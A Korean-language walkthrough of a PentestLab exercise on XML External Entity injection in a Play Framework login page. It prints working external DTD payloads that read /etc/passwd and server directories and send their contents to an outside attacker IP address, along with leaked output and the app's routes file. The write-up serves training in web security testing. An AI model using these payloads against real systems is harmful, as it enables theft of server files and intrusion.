PentestLab의 Play XML Entities 문제를 풀이
이번 문제는 Play Framework의 XML External Entities 삽입 취약점에 대해 얘기한다.
login페이지에서 로그인 패킷을 확인하면 아래와 같다.
여기서 xml을 삽입하기 위해 Content-Type을 변경하고 Body에 xml을 삽입한다. 여기서는 삽입한 XML이 서버에서 작동하는지 확인하기 위해 Burp Collaborator를 사용한다.
xml이 실행되면서 Burp Collaborator에 접근하였음을 확인할 수 있다.
XML로 전달한 Entities가 Response에 삽입되지 않아 외부 Entities를 사용하여 dtd파일을 다운받아 실행 하도록한다.
test.dtd 파일의 내용은 아래와 같다. 해당 dtd를 다운받아 실행하면 타겟 서버의 /etc/passwd파일의 내용을 원격지 서버의 BLAH 페이지의 파라미터로 전달한다.
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://211.204.193.68/BLAH?%p1;'>">
%p2;
해당 공격이 성공하면 공격자 서버에는 다음과 같은 요청이 발생한다😎
....
....
play:x:1000:1000::/opt/play-2.1.3:/bin/bash
/etc/passwd의 내용중 play 유저의 홈 Dir을 확인해보기 위해 원격지의 test.dtd를 수정하였으며, 다시 이전과 동일한 xml 구문을 타겟 서버에 전달하였다.
<!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://211.204.193.68/BLAH?%p1;'>">
%p2;
위 결과로 아래와 같이 타겟 서버의 디렉터리를 탐색할 수 있었다.
위의 행동을 반복적으로 하면서 /opt/play-2.1.3/xxe/conf/routes 파일을 확인했으며 secret_url함수가 렌더링 되는 파일을 확인했다.
GET / controllers.Application.index()
GET /taifai2KooF8ieceshaeZai2 controllers.Application.secret_url()
GET /login controllers.Application.login
POST /login controllers.Application.login
GET /logout controllers.Application.logout
GET /assets/*file controllers.Assets.at(path="/public", file)